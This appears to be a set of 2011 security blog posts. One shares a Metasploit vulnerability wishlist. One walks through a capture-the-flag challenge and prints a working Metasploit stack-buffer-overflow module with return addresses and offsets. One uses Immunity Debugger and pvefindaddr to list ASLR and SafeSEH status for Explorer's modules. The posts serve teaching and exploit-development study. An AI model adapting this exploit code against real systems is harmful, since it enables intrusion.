Couple of days ago, mubix at twitter posted a very nice link from http://cosine-security.blogspot.com/2011/02/metasploit-framework-wishlist.html . I got a few minutes today to separate the list a bit further so anybody that wants to work on it can look easier on things. The list is split according to vendors affected on the following files,

adobe
apple
centos
cisco
debian
fedora
google
hp
ibm
java
linux
microsoft
mozilla
oracle
others
php
proftpd
red_hat
solaris
suse
ubuntu
winamp

On the next few days I'm thinking to start porting some of them to metasploit modules and anybody that wants to do the same feel free to choose what you like to work on :)

List with vendors at http://chaos.deventum.com/research/0entropy.zip

From vulnerability to exploit under 5 min

2011-02-09T12:40:00.000+02:00

Almost a month ago in the excellent group of NOVA Hackers! ( http://novahackers.blogspot.com/ ), a group of security professionals, security enthusiasts and friends a capture the flag challenge was posted. In that challenge one should find a way to exploit a binary file ( http://novactf.org/files/ctf-january-2011-files.rar ) that is listening on a specific port and write a metasploit exploit module . The ctf challenge was not meant to be extremely difficult it was meant to be for fun. Let's see how using the proper tools, one can write a metasploit, exploit, module under 5 min.

Tools that you will need, and tools that i like to work with,
Immunity Debugger ( http://www.immunityinc.com/products-immdbg.shtml )
Pvefindaddr ( http://redmine.corelan.be:8800/projects/pvefindaddr )
Metasploit Framework ( http://www.metasploit.com/framework/download/ )

Let's see how simple could be to write a simple buffer overflow with the proper tools.

Phase 1.
Fire up the debugger open the file,

Phase 2.
Start the executable from the debugger, pressing F9 or the run button.

Phase 3.
Generate a string of characters and send it to crash the application using metasploit

Phase 4.
At this point the application is crashed and the debugger will be displaying an Access Violation, for our good chance several registers are overwritten also with our string,

Phase 5.
Pvefindaddr to the rescue! This is almost considering cheating writing an exploit with the help of pvefinaddr, let's make it quick then, execute !pvefindaddr suggest on the debugger and check the log for the results.

What else could we ask from the tool, maybe to write the metasploit module by itself and post it on the exploit-db.com :-)

Phase 6.
Take the data and put them in a nice metasploit module. What is left here is a proper jmp eax instruction, pvefindaddr again will give us what we need.

Phase 7.
Take a simple metasploit exploit template ( http://www.corelan.be:8800/index.php/2009/08/12/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics/ ) or from any other module in the metasploit directory add your values and you are done !

#
# Custom metasploit exploit
# Written by Nicolas Krassas
# Date 24/01/2011
# This is initial version
#
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

      include Msf::Exploit::Remote::Tcp

      def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'Custom vulnerable server stack overflow',
                        'Description'    => %q{
                                        This module exploits a stack overflow in a
                                        custom vulnerable server.
                                             },
                        'Author'         => [ 'Nicolas Krassas' ],
                        'Version'        => '$Revision: 9999 $',
                        'DefaultOptions' =>
                                {
                                        'EXITFUNC' => 'process',
                                },
                        'Payload'        =>
                                {
                                        'Space'    => 1000,
                                        'BadChars' => "",
                                },
                        'Platform'       => 'win',

                        'Targets'        =>
                                [
                                        ['Windows XP SP2 Eng',
                                          { 'Ret' => 0x662F3435, 'Offset' => 260 } ],
                                        ['Windows XP SP3 Eng',
                                        { 'Ret' => 0x662F3425, 'Offset' => 260 } ],
                                ],
                        'DefaultTarget' => 0,

                        'Privileged'     => false
                        ))

                        register_options(
                        [
                                Opt::RPORT(1337)
                        ], self.class)
       end

       def exploit
          connect

          junk = make_nops(target['Offset'])
          sploit = junk + [target.ret].pack('V') + make_nops(4) + payload.encoded
          sock.put(sploit)

          handler
          disconnect

       end
end

Did it took 5 min, maybe not but it's neither far from it. Another nice tutorial on metasploit exploit code development using pvefindaddr that you can find is from sickness at Exploit Development Made Easy with !pvefindaddr .

checking aslr, safeseh and more

2011-01-20T10:33:00.000+02:00

Couple days ago i notice a post from Didier Stevens on how to check aslr status for shell extensions ( http://blog.didierstevens.com/2011/01/18/quickpost-checking-aslr/ ). In his approach he is using an excellent tool, Process Explorer to list the modules. Another way of doing the same is using pvefindaddr and immunity debugger. Pvefindaddr is a great tool, http://redmine.corelan.be:8800/projects/pvefindaddr, that exploit writers should be at least aware of.

A different approach to check the modules for aslr status can be done using the following.

Grab a copy of pvefindaddr and copy it on pycommands directory of the Immunity debugger. Load the debugger, using administrator privileges on windows 7 and from file File, Attach, choose explorer.exe. You will see something like:

On the debugger now again, execute the command !pvefindaddr modules wait for a couple of seconds and open the log window, the following screen will appear,

There you will see all the modules and their status, shell extensions are also listed there, for example in my list i have the following extensions:

Log data
Address    Message
           Immunity Debugger 1.80.0.1 : Yggdrasil
           Need support? visit http://forum.immunityinc.com/
           Error accesing memory
           File 'C:\Windows\explorer.exe'
           [10:17:09] New process with ID 00000F4C created
           Main thread with ID 000010F4 created
76E2EE2A   New thread with ID 00000AD8 created
76E2D662   New thread with ID 000008CC created
7528C89D   New thread with ID 000013B4 created
75F145E9   New thread with ID 00000C5C created
75DC12E5   New thread with ID 0000111C created
75F145E9   New thread with ID 0000145C created
76E2D662   New thread with ID 00001094 created
73A617A4   New thread with ID 00000A04 created
76E2D662   New thread with ID 0000157C created
76E2D662   New thread with ID 000012DC created
76E2D662   New thread with ID 00001098 created
75F145E9   New thread with ID 00000DD4 created
75F145E9   New thread with ID 00000898 created
75F145E9   New thread with ID 000016DC created
75F145E9   New thread with ID 0000138C created
75F145E9   New thread with ID 00000FD8 created
739E2F69   New thread with ID 00000878 created
75F145E9   New thread with ID 00001674 created
75F145E9   New thread with ID 0000124C created
7528C89D   New thread with ID 00000B70 created
6FA452C9   New thread with ID 0000130C created
76E2D662   New thread with ID 00000AF4 created
65BB268A   New thread with ID 00001470 created
7528C89D   New thread with ID 00000C44 created
76E2D662   New thread with ID 0000079C created
75F145E9   New thread with ID 0000090C created
76E2D662   New thread with ID 00001110 created
76E2D662   New thread with ID 00001728 created
76E9D315   New thread with ID 00000708 created
00B80000   Modules C:\Windows\explorer.exe
020A0000   Modules C:\Program Files\TortoiseSVN\bin\TortoiseSVN.dll
042D0000   Modules C:\Program Files\Notepad++\NppShell_01.dll
04320000   Modules C:\Program Files\7-Zip\7-zip.dll
043F0000   Modules C:\Windows\system32\thumbcache.dll
05940000   Modules C:\Program Files\TortoiseSVN\bin\TortoiseStub.dll
05960000   Modules C:\Program Files\Common Files\TortoiseOverlays\TortoiseOverlays.dll
10000000   Modules C:\Program Files\TortoiseSVN\bin\intl3_tsvn.dll
62890000   Modules C:\Windows\System32\SyncCenter.dll
65870000   Modules C:\Windows\System32\werconcpl.dll
65980000   Modules C:\Windows\system32\FXSRESM.DLL
65BB0000   Modules C:\Windows\system32\fxsst.dll
65D40000   Modules C:\Windows\System32\pnidui.dll
66EA0000   Modules c:\PROGRA~1\MIF707~1\shellext.dll
68BD0000   Modules C:\Windows\System32\ieframe.dll
69A80000   Modules C:\Windows\System32\bthprops.cpl
6AC60000   Modules C:\Windows\System32\Actioncenter.dll
6AD20000   Modules C:\Windows\System32\wscui.cpl
6AE40000   Modules C:\Windows\system32\ntshrui.dll
6AF20000   Modules C:\Windows\system32\msi.dll
6B4B0000   Modules C:\Windows\system32\imapi2.dll
6B550000   Modules C:\Windows\system32\NetworkExplorer.dll
6BAD0000   Modules C:\Windows\system32\PortableDeviceApi.dll
6BF10000   Modules C:\Windows\System32\WSCAPI.dll
6BF40000   Modules C:\Windows\system32\FXSAPI.dll
6BF80000   Modules C:\Windows\System32\provsvc.dll
6C050000   Modules C:\Windows\System32\wer.dll
6C0B0000   Modules C:\Windows\System32\gameux.dll
6C350000   Modules C:\Windows\System32\shdocvw.dll
6C380000   Modules C:\Windows\system32\actxprxy.dll
6C3E0000   Modules C:\Windows\System32\cscui.dll
6C450000   Modules C:\PROGRA~1\MICROS~3\Office14\1033\GrooveIntlResource.dll
             Invalid or compressed Image Export Directory
6CCC0000   Modules C:\PROGRA~1\MICROS~3\Office14\GROOVEEX.DLL
6D0D0000   Modules C:\PROGRA~1\COMMON~1\MICROS~1\OFFICE14\Cultures\office.odf
6D600000   Modules C:\Windows\WinSxS\x86_microsoft.vc90.atl_1fc8b3b9a1e18e3b_9.0.30729.4974_none_51cdc180bbe4500f\ATL90.DLL
6D630000   Modules C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4974_none_50940634bcb759cb\MSVCR90.dll
6D7B0000   Modules C:\Windows\System32\UIAnimation.dll
6D7E0000   Modules C:\Windows\System32\hgcpl.dll
6D870000   Modules C:\Program Files\Internet Explorer\ieproxy.dll
6DB50000   Modules C:\Windows\system32\dxp.dll
6E240000   Modules C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4974_none_50940634bcb759cb\MSVCP90.dll
6E2F0000   Modules C:\Windows\System32\netprofm.dll
6E4B0000   Modules C:\Windows\system32\SHFOLDER.dll
6E540000   Modules C:\Windows\system32\WINSPOOL.DRV
6E6E0000   Modules C:\Windows\system32\EXPLORERFRAME.dll
6E970000   Modules C:\Windows\system32\PortableDeviceTypes.dll
6EAE0000   Modules C:\Windows\system32\msutb.dll
6ECB0000   Modules C:\Windows\system32\MPR.dll
6ECD0000   Modules C:\Windows\system32\LINKINFO.dll
6EE60000   Modules C:\Program Files\TortoiseSVN\bin\libaprutil_tsvn.dll
6EEC0000   Modules C:\Program Files\TortoiseSVN\bin\libapr_tsvn.dll
6F050000   Modules C:\Windows\system32\EhStorShell.dll
6F670000   Modules C:\Windows\system32\cscapi.dll
6FA40000   Modules C:\Windows\system32\Wlanapi.dll
70FA0000   Modules C:\Windows\system32\wlanutil.dll
71020000   Modules C:\Windows\system32\dhcpcsvc.DLL
713F0000   Modules C:\Windows\System32\WINNSI.DLL
71400000   Modules C:\Windows\System32\IPHLPAPI.DLL
71970000   Modules C:\Windows\system32\MsftEdit.dll
71A30000   Modules C:\Windows\system32\mssprxy.dll
71AA0000   Modules C:\Windows\system32\wwanapi.dll
71CD0000   Modules C:\Windows\system32\prnfldr.dll
71D40000   Modules C:\Windows\system32\BatMeter.dll
71E00000   Modules C:\Windows\System32\npmproxy.dll
71E20000   Modules C:\Windows\System32\QAgent.dll
71EA0000   Modules C:\Windows\system32\SYNCENG.dll
71EC0000   Modules C:\Windows\system32\syncui.dll
71F40000   Modules C:\Windows\System32\srchadmin.dll
71F90000   Modules C:\Program Files\WinRAR\rarext.dll
71FC0000   Modules C:\Windows\system32\twext.dll
71FF0000   Modules C:\Windows\System32\wercplsupport.dll
72010000   Modules C:\Windows\System32\framedynos.dll
721B0000   Modules C:\Windows\System32\cscobj.dll
72380000   Modules C:\Windows\System32\QUtil.dll
723A0000   Modules C:\Program Files\Common Files\microsoft shared\ink\tiptsf.dll
72400000   Modules C:\Windows\system32\timedate.cpl
72480000   Modules C:\Windows\system32\EhStorAPI.dll
724B0000   Modules C:\Windows\system32\stobject.dll
72510000   Modules C:\Windows\System32\netshell.dll
72D90000   Modules C:\Windows\system32\dhcpcsvc6.DLL
72DD0000   Modules C:\Windows\System32\msxml6.dll
72F50000   Modules C:\Windows\system32\es.dll
72FA0000   Modules C:\Windows\system32\slc.dll
72FC0000   Modules C:\Windows\system32\ATL.DLL
730F0000   Modules C:\Windows\system32\taskschd.dll
731B0000   Modules C:\Windows\system32\POWRPROF.dll
73270000   Modules C:\Windows\System32\nlaapi.dll
734B0000   Modules C:\Windows\system32\ntmarta.dll
734F0000   Modules C:\Windows\system32\wwapi.dll
73500000   Modules C:\Program Files\Common Files\Microsoft Shared\OFFICE14\MSOXMLMF.DLL
73510000   Modules C:\Windows\System32\wscinterop.dll
73530000   Modules C:\Windows\system32\SndVolSSO.DLL
73570000   Modules C:\Windows\System32\OLEACC.dll
73640000   Modules C:\Windows\System32\CSCDLL.dll
73650000   Modules C:\Windows\system32\wpdshserviceobj.dll
73690000   Modules C:\Windows\system32\AUDIOSES.DLL
736D0000   Modules C:\Windows\system32\msls31.dll
73700000   Modules C:\Windows\System32\AltTab.dll
73710000   Modules C:\Windows\ehome\ehSSO.dll
73720000   Modules C:\Windows\System32\shacct.dll
73750000   Modules C:\Windows\system32\wkscli.dll
73760000   Modules C:\Windows\system32\netutils.dll
73890000   Modules C:\Windows\system32\WindowsCodecs.dll
73990000   Modules C:\Windows\System32\XmlLite.dll
739C0000   Modules C:\Windows\system32\dwmapi.dll
739E0000   Modules C:\Windows\System32\MMDevApi.dll
73A20000   Modules C:\Windows\system32\HID.DLL
73A50000   Modules C:\Windows\System32\hcproviders.dll
73A60000   Modules C:\Windows\system32\msiltcfg.dll
73A70000   Modules C:\Windows\system32\DUser.dll
73AA0000   Modules C:\Windows\system32\DUI70.dll
73B60000   Modules C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7600.16385_none_72fc7cbf861225ca\gdiplus.dll
73CF0000   Modules C:\Windows\system32\UxTheme.dll
73D30000   Modules C:\Windows\system32\PROPSYS.dll
73E30000   Modules C:\Windows\system32\SAMLIB.dll
73E50000   Modules C:\Windows\system32\Syncreg.dll
73E60000   Modules C:\Windows\system32\IconCodecService.dll
73E70000   Modules C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7600.16661_none_420fe3fa2b8113bd\comctl32.dll
74010000   Modules C:\Windows\system32\CRYPTUI.dll
74110000   Modules C:\Windows\system32\authui.dll
74340000   Modules C:\Windows\system32\WTSAPI32.dll
74410000   Modules C:\Windows\system32\VERSION.dll
74570000   Modules C:\Windows\system32\USERENV.dll
74750000   Modules C:\Windows\system32\DEVRTL.dll
74770000   Modules C:\Windows\system32\rsaenh.dll
74850000   Modules C:\Windows\system32\dnsapi.DLL
74990000   Modules C:\Windows\system32\MSWSOCK.dll
749D0000   Modules C:\Windows\system32\CRYPTSP.dll
74B90000   Modules C:\Windows\System32\wevtapi.dll
74DA0000   Modules C:\Windows\system32\srvcli.dll
74E10000   Modules C:\Windows\system32\Secur32.dll
74E30000   Modules C:\Windows\system32\SSPICLI.DLL
74E50000   Modules C:\Windows\system32\apphelp.dll
74EA0000   Modules C:\Windows\system32\CRYPTBASE.dll
74EB0000   Modules C:\Windows\system32\SXS.DLL
74F10000   Modules C:\Windows\System32\WINSTA.dll
74F40000   Modules C:\Windows\system32\RpcRtRemote.dll
74F50000   Modules C:\Windows\system32\profapi.dll
             Invalid or compressed Image Export Directory
74FC0000   Modules C:\Windows\system32\MSASN1.dll
75060000   Modules C:\Windows\system32\CRYPT32.dll
75180000   Modules C:\Windows\system32\WINTRUST.dll
751B0000   Modules C:\Windows\system32\CFGMGR32.dll
751E0000   Modules C:\Windows\system32\KERNELBASE.dll
75230000   Modules C:\Windows\system32\DEVOBJ.dll
75250000   Modules C:\Windows\system32\NSI.dll
75260000   Modules C:\Windows\system32\ole32.dll
753C0000   Modules C:\Windows\system32\GDI32.dll
75470000   Modules C:\Windows\system32\WININET.dll
75570000   Modules C:\Windows\system32\RPCRT4.dll
75620000   Modules C:\Windows\system32\kernel32.dll
75700000   Modules C:\Windows\system32\OLEAUT32.dll
75790000   Modules C:\Windows\system32\urlmon.dll
758D0000   Modules C:\Windows\system32\PSAPI.DLL
758E0000   Modules C:\Windows\system32\USER32.dll
759B0000   Modules C:\Windows\system32\WS2_32.dll
759F0000   Modules C:\Windows\system32\MSCTF.dll
75AC0000   Modules C:\Windows\system32\IMM32.dll
75AE0000   Modules C:\Windows\SYSTEM32\sechost.dll
75B80000   Modules C:\Windows\system32\SETUPAPI.dll
75D20000   Modules C:\Windows\system32\CLBCatQ.DLL
75DB0000   Modules C:\Windows\system32\msvcrt.dll
75E60000   Modules C:\Windows\system32\USP10.dll
75F00000   Modules C:\Windows\system32\SHLWAPI.dll
75F60000   Modules C:\Windows\system32\SHELL32.dll
76BB0000   Modules C:\Windows\system32\WLDAP32.dll
76C00000   Modules C:\Windows\system32\iertutil.dll
76E00000   Modules C:\Windows\SYSTEM32\ntdll.dll
76F40000   Modules C:\Windows\system32\LPK.dll
76F50000   Modules C:\Windows\system32\Normaliz.dll
76F60000   Modules C:\Windows\system32\ADVAPI32.dll
76E33574   [10:17:20] Attached process paused at ntdll.DbgBreakPoint
0BADF00D
0BADF00D
0BADF00D
0BADF00D   ** [+] Gathering executable / loaded module info, please wait...
0BADF00D   ** [+] Finished task, 170 modules found
0BADF00D   ----------------------------------------------------------------------------------------------------------------------------------
0BADF00D    Loaded modules
0BADF00D   ----------------------------------------------------------------------------------------------------------------------------------
0BADF00D     Fixup |   Base     |    Top     |    Size    | SafeSEH | ASLR | NXCompat | OS Dll | Version, Modulename & Path
0BADF00D   ----------------------------------------------------------------------------------------------------------------------------------
0BADF00D      yes   | 0x72010000 | 0x72045000 | 0x00035000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - framedynos.dll : C:\Windows\System32\framedynos.dll
0BADF00D      yes   | 0x74990000 | 0x749CC000 | 0x0003C000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - MSWSOCK.dll : C:\Windows\system32\MSWSOCK.dll
0BADF00D      yes   | 0x72400000 | 0x72478000 | 0x00078000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - timedate.cpl : C:\Windows\system32\timedate.cpl
0BADF00D      yes   | 0x6ECD0000 | 0x6ECD9000 | 0x00009000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - LINKINFO.dll : C:\Windows\system32\LINKINFO.dll
0BADF00D      yes   | 0x74FC0000 | 0x74FCC000 | 0x0000C000 |   yes   | yes |    yes   |   yes | 6.1.7600.16415 - MSASN1.dll : C:\Windows\system32\MSASN1.dll
0BADF00D      yes   | 0x6E4B0000 | 0x6E4B5000 | 0x00005000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - SHFOLDER.dll : C:\Windows\system32\SHFOLDER.dll
0BADF00D      yes   | 0x71970000 | 0x71A04000 | 0x00094000 |   yes   | yes |    yes   |   yes | 5.41.21.2509 - MsftEdit.dll : C:\Windows\system32\MsftEdit.dll
0BADF00D      yes   | 0x736D0000 | 0x736FA000 | 0x0002A000 |   yes   | yes |    yes   |   yes | 3.10.349.0 - msls31.dll : C:\Windows\system32\msls31.dll
0BADF00D      yes   | 0x739C0000 | 0x739D3000 | 0x00013000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - dwmapi.dll : C:\Windows\system32\dwmapi.dll
0BADF00D      yes   | 0x730F0000 | 0x7316B000 | 0x0007B000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - taskschd.dll : C:\Windows\system32\taskschd.dll
0BADF00D      yes   | 0x6F050000 | 0x6F081000 | 0x00031000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - EhStorShell.dll : C:\Windows\system32\EhStorShell.dll
0BADF00D      yes   | 0x72FA0000 | 0x72FAA000 | 0x0000A000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - slc.dll : C:\Windows\system32\slc.dll
0BADF00D      yes   | 0x71FC0000 | 0x71FE7000 | 0x00027000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - twext.dll : C:\Windows\system32\twext.dll
0BADF00D      yes   | 0x734F0000 | 0x734FA000 | 0x0000A000 |   yes   | yes |    yes   |   yes | 08.01.02.00 - wwapi.dll : C:\Windows\system32\wwapi.dll
0BADF00D      yes   | 0x65870000 | 0x65976000 | 0x00106000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - werconcpl.dll : C:\Windows\System32\werconcpl.dll
0BADF00D      yes   | 0x73710000 | 0x73718000 | 0x00008000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - ehSSO.dll : C:\Windows\ehome\ehSSO.dll
0BADF00D      yes   | 0x73650000 | 0x7366D000 | 0x0001D000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - wpdshserviceobj.dll : C:\Windows\system32\wpdshserviceobj.dll
0BADF00D      yes   | 0x76C00000 | 0x76DFA000 | 0x001FA000 |   yes   | yes |    yes   |   yes | 8.00.7600.16700 - iertutil.dll : C:\Windows\system32\iertutil.dll
0BADF00D      yes   | 0x73D30000 | 0x73E25000 | 0x000F5000 |   yes   | yes |    yes   |   yes | 7.00.7600.16385 - PROPSYS.dll : C:\Windows\system32\PROPSYS.dll
0BADF00D      yes   | 0x74B90000 | 0x74BD2000 | 0x00042000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - wevtapi.dll : C:\Windows\System32\wevtapi.dll
0BADF00D      yes   | 0x724B0000 | 0x724E9000 | 0x00039000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - stobject.dll : C:\Windows\system32\stobject.dll
0BADF00D      yes   | 0x713F0000 | 0x713F7000 | 0x00007000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - WINNSI.DLL : C:\Windows\System32\WINNSI.DLL
0BADF00D      yes   | 0x75260000 | 0x753BC000 | 0x0015C000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - ole32.dll : C:\Windows\system32\ole32.dll
0BADF00D      yes   | 0x75F00000 | 0x75F57000 | 0x00057000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - SHLWAPI.dll : C:\Windows\system32\SHLWAPI.dll
0BADF00D      yes   | 0x72F50000 | 0x72F97000 | 0x00047000 |   yes   | yes |    yes   |   yes | 2001.12.8530.16385 - es.dll : C:\Windows\system32\es.dll
0BADF00D      yes   | 0x758E0000 | 0x759A9000 | 0x000C9000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - USER32.dll : C:\Windows\system32\USER32.dll
0BADF00D      yes   | 0x65BB0000 | 0x65C82000 | 0x000D2000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - fxsst.dll : C:\Windows\system32\fxsst.dll
0BADF00D      yes   | 0x6D7B0000 | 0x6D7CB000 | 0x0001B000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - UIAnimation.dll : C:\Windows\System32\UIAnimation.dll
0BADF00D      yes   | 0x6ECB0000 | 0x6ECC2000 | 0x00012000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - MPR.dll : C:\Windows\system32\MPR.dll
0BADF00D      yes   | 0x74010000 | 0x74108000 | 0x000F8000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - CRYPTUI.dll : C:\Windows\system32\CRYPTUI.dll
0BADF00D      yes   | 0x75180000 | 0x751AD000 | 0x0002D000 |   yes   | yes |    yes   |   yes | 6.1.7600.16493 - WINTRUST.dll : C:\Windows\system32\WINTRUST.dll
0BADF00D      yes   | 0x73890000 | 0x7398B000 | 0x000FB000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - WindowsCodecs.dll : C:\Windows\system32\WindowsCodecs.dll
0BADF00D      yes   | 0x73720000 | 0x7373E000 | 0x0001E000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - shacct.dll : C:\Windows\System32\shacct.dll
0BADF00D      yes   | 0x73570000 | 0x735AC000 | 0x0003C000 |   yes   | yes |    yes   |   yes | 7.0.0.0 - OLEACC.dll : C:\Windows\System32\OLEACC.dll
0BADF00D      yes   | 0x75F60000 | 0x76BA9000 | 0x00C49000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - SHELL32.dll : C:\Windows\system32\SHELL32.dll
0BADF00D      yes   | 0x73510000 | 0x7352A000 | 0x0001A000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - wscinterop.dll : C:\Windows\System32\wscinterop.dll
0BADF00D      yes   | 0x73640000 | 0x73649000 | 0x00009000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - CSCDLL.dll : C:\Windows\System32\CSCDLL.dll
0BADF00D      yes   | 0x75D20000 | 0x75DA3000 | 0x00083000 |   yes   | yes |    yes   |   yes | 2001.12.8530.16385 - CLBCatQ.DLL : C:\Windows\system32\CLBCatQ.DLL
0BADF00D      yes   | 0x73A20000 | 0x73A29000 | 0x00009000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - HID.DLL : C:\Windows\system32\HID.DLL
0BADF00D      yes   | 0x739E0000 | 0x73A19000 | 0x00039000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - MMDevApi.dll : C:\Windows\System32\MMDevApi.dll
0BADF00D      yes   | 0x71E20000 | 0x71E4E000 | 0x0002E000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - QAgent.dll : C:\Windows\System32\QAgent.dll
0BADF00D      yes   | 0x65980000 | 0x65A63000 | 0x000E3000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - FXSRESM.DLL : C:\Windows\system32\FXSRESM.DLL
0BADF00D      yes   | 0x751B0000 | 0x751D7000 | 0x00027000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - CFGMGR32.dll : C:\Windows\system32\CFGMGR32.dll
0BADF00D      yes   | 0x74850000 | 0x74894000 | 0x00044000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - dnsapi.DLL : C:\Windows\system32\dnsapi.DLL
0BADF00D      yes   | 0x6B4B0000 | 0x6B514000 | 0x00064000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - imapi2.dll : C:\Windows\system32\imapi2.dll
0BADF00D      yes   | 0x71EA0000 | 0x71EB6000 | 0x00016000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - SYNCENG.dll : C:\Windows\system32\SYNCENG.dll
0BADF00D      yes   | 0x6C050000 | 0x6C0B0000 | 0x00060000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - wer.dll : C:\Windows\System32\wer.dll
0BADF00D      yes   | 0x74E30000 | 0x74E4A000 | 0x0001A000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - SSPICLI.DLL : C:\Windows\system32\SSPICLI.DLL
0BADF00D      yes   | 0x731B0000 | 0x731D5000 | 0x00025000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - POWRPROF.dll : C:\Windows\system32\POWRPROF.dll
0BADF00D      yes   | 0x6D870000 | 0x6D89B000 | 0x0002B000 |   yes   | yes |    yes   |   NO   | 8.00.7600.16700 - ieproxy.dll : C:\Program Files\Internet Explorer\ieproxy.dll
0BADF00D      yes   | 0x6BF10000 | 0x6BF1F000 | 0x0000F000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - WSCAPI.dll : C:\Windows\System32\WSCAPI.dll
0BADF00D      yes   | 0x75790000 | 0x758C5000 | 0x00135000 |   yes   | yes |    yes   |   yes | 8.00.7600.16385 - urlmon.dll : C:\Windows\system32\urlmon.dll
0BADF00D      NO    | 0x05940000 | 0x0594E000 | 0x0000E000 |   yes   | NO   |    NO    |   NO   | 1.6.11.20210 - TortoiseStub.dll : C:\Program Files\TortoiseSVN\bin\TortoiseStub.dll
0BADF00D      yes   | 0x74F10000 | 0x74F39000 | 0x00029000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - WINSTA.dll : C:\Windows\System32\WINSTA.dll
0BADF00D      yes   | 0x6D0D0000 | 0x6D4DF000 | 0x0040F000 |   yes   | yes |    NO    |   NO   | 14.0.4738.1000 - office.odf : C:\PROGRA~1\COMMON~1\MICROS~1\OFFICE14\Cultures\office.odf
0BADF00D      yes   | 0x6DB50000 | 0x6DBB4000 | 0x00064000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - dxp.dll : C:\Windows\system32\dxp.dll
0BADF00D      yes   | 0x75620000 | 0x756F4000 | 0x000D4000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - kernel32.dll : C:\Windows\system32\kernel32.dll
0BADF00D      yes   | 0x74EA0000 | 0x74EAC000 | 0x0000C000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - CRYPTBASE.dll : C:\Windows\system32\CRYPTBASE.dll
0BADF00D      yes   | 0x76E00000 | 0x76F3C000 | 0x0013C000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - ntdll.dll : C:\Windows\SYSTEM32\ntdll.dll
0BADF00D      yes   | 0x75AE0000 | 0x75AF9000 | 0x00019000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - sechost.dll : C:\Windows\SYSTEM32\sechost.dll
0BADF00D      yes   | 0x6D630000 | 0x6D6D3000 | 0x000A3000 |   yes   | yes |    yes   |   yes | 9.00.30729.4974 - MSVCR90.dll : C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4974_none_50940634bcb759cb\MSVCR90.dll
0BADF00D      yes   | 0x6D600000 | 0x6D62B000 | 0x0002B000 |   yes   | yes |    yes   |   yes | 9.00.30729.4974 - ATL90.DLL : C:\Windows\WinSxS\x86_microsoft.vc90.atl_1fc8b3b9a1e18e3b_9.0.30729.4974_none_51cdc180bbe4500f\ATL90.DLL
0BADF00D      yes   | 0x6EAE0000 | 0x6EB0C000 | 0x0002C000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - msutb.dll : C:\Windows\system32\msutb.dll
0BADF00D      yes   | 0x73A50000 | 0x73A59000 | 0x00009000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - hcproviders.dll : C:\Windows\System32\hcproviders.dll
0BADF00D      yes   | 0x73A60000 | 0x73A67000 | 0x00007000 |   yes   | yes |    yes   |   yes | 5.0.7600.16385 - msiltcfg.dll : C:\Windows\system32\msiltcfg.dll
0BADF00D      yes   | 0x75470000 | 0x75564000 | 0x000F4000 |   yes   | yes |    yes   |   yes | 8.00.7600.16385 - WININET.dll : C:\Windows\system32\WININET.dll
0BADF00D      yes   | 0x00B80000 | 0x00E01000 | 0x00281000 |   yes   | yes |    NO    |   yes | 6.1.7600.16385 - explorer.exe : C:\Windows\explorer.exe
0BADF00D      NO    | 0x10000000 | 0x10012000 | 0x00012000 |   yes   | NO   |    NO    |   NO   | 0.14.4 - intl3_tsvn.dll : C:\Program Files\TortoiseSVN\bin\intl3_tsvn.dll
0BADF00D      yes   | 0x62890000 | 0x62A9E000 | 0x0020E000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - SyncCenter.dll : C:\Windows\System32\SyncCenter.dll
